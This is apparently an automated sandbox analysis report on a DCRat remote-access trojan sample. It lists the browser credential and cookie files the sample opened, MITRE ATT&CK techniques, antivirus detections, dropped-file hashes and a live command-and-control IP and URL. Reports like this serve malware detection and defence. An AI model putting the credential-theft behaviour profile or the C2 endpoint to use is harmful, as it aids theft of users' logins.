Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: Gez0dmj6yl.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gez0dmj6yl.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2005683650.0000000000A52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gez0dmj6yl.exe PID: 2436, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	114 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Gez0dmj6yl.exe	66%	Virustotal		Browse
Gez0dmj6yl.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
Gez0dmj6yl.exe	100%	Avira	HEUR/AGEN.1309961
Gez0dmj6yl.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\wWLxmeJG.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\BRNOuKzz.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\BRNOuKzz.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\BRNOuKzz.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\BRNOuKzz.log	69%	Virustotal		Browse
C:\Users\user\Desktop\wWLxmeJG.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\wWLxmeJG.log	22%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://94.158.244.70/PipeRequestPollPrivatedownloads.php	0%	Avira URL Cloud	safe
http://94.158.244.70	0%	Avira URL Cloud	safe
http://94.158.244.70/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://94.158.244.70	6%	Virustotal		Browse
http://94.158.244.70/PipeRequestPollPrivatedownloads.php	3%	Virustotal		Browse
http://94.158.244.70/	6%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://94.158.244.70/PipeRequestPollPrivatedownloads.php	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe	unknown
http://94.158.244.70	Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002FD7000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000003084000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe	unknown
http://94.158.244.70/	Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013318000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000012FB0000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4470781101.0000000013007000.00000004.00000800.00020000.00000000.sdmp, EslhR2gR4A.0.dr, EKADtZ6ith.0.dr, BwThtE3YE8.0.dr, PGQkBRpwZZ.0.dr, wvXzQ57pMu.0.dr, fzFjnOzdg4.0.dr, RE39ECZ03Y.0.dr, DlkraFHFJC.0.dr, 2Se5KAbRtV.0.dr, RdwOd2WlOk.0.dr, 5Q39zeTH68.0.dr, yPZ5JxF9Yq.0.dr, mbyfk4HT76.0.dr, 4iflnrhWQ0.0.dr, oCs7eLUTOn.0.dr, rCAfzxg8Lp.0.dr, VQlntwBvBo.0.dr, 0gP0jjHGHE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.158.244.70	unknown	Moldova Republic of		39798	MIVOCLOUDMD	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502497
Start date and time:	2024-09-01 23:56:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Gez0dmj6yl.exe renamed because original name is a hash value
Original Sample Name:	56EC657202ACA3CE001ECBE1557B7987.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/257@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:56:55	API Interceptor	13705482x Sleep call for process: Gez0dmj6yl.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	update.js	Get hash	malicious	NetSupport RAT	Browse	5.181.159.28
	17E503AEF3804C0513838FB4AE3E00F323B1260BF753D99DBF0AE415BA54DE11.exe	Get hash	malicious	Bdaejec, Raccoon	Browse	194.180.191.241
	updates.js	Get hash	malicious	NetSupport RAT	Browse	194.180.191.69
	updates.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	yvM2XCEkGj.exe	Get hash	malicious	Raccoon Stealer v2	Browse	5.181.159.42
	updates.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	xUtQLCJLoN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	GsPg7N8T6N.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	ZNxa7TSWl4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\wWLxmeJG.log	cuAvoExY41.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	TwfUz3FuO7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9i0GfIAfU7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	i3F8zuP3u9.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	z3yAH0LL5e.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	4ra1Fo2Zql.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	ugRGgCJhQl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	eCGKhYZtgx.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	czcgyt.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	trkfmve.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Users\user\Desktop\BRNOuKzz.log	cuAvoExY41.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	TwfUz3FuO7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9i0GfIAfU7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	i3F8zuP3u9.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	z3yAH0LL5e.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	4ra1Fo2Zql.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	ugRGgCJhQl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	eCGKhYZtgx.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	czcgyt.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	trkfmve.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0XbiVgxDX6

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0gP0jjHGHE

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0lCqKEX4sO

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0lVlfMU0Ex

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0omQ8xDVnJ

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0zDiwczj6i

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
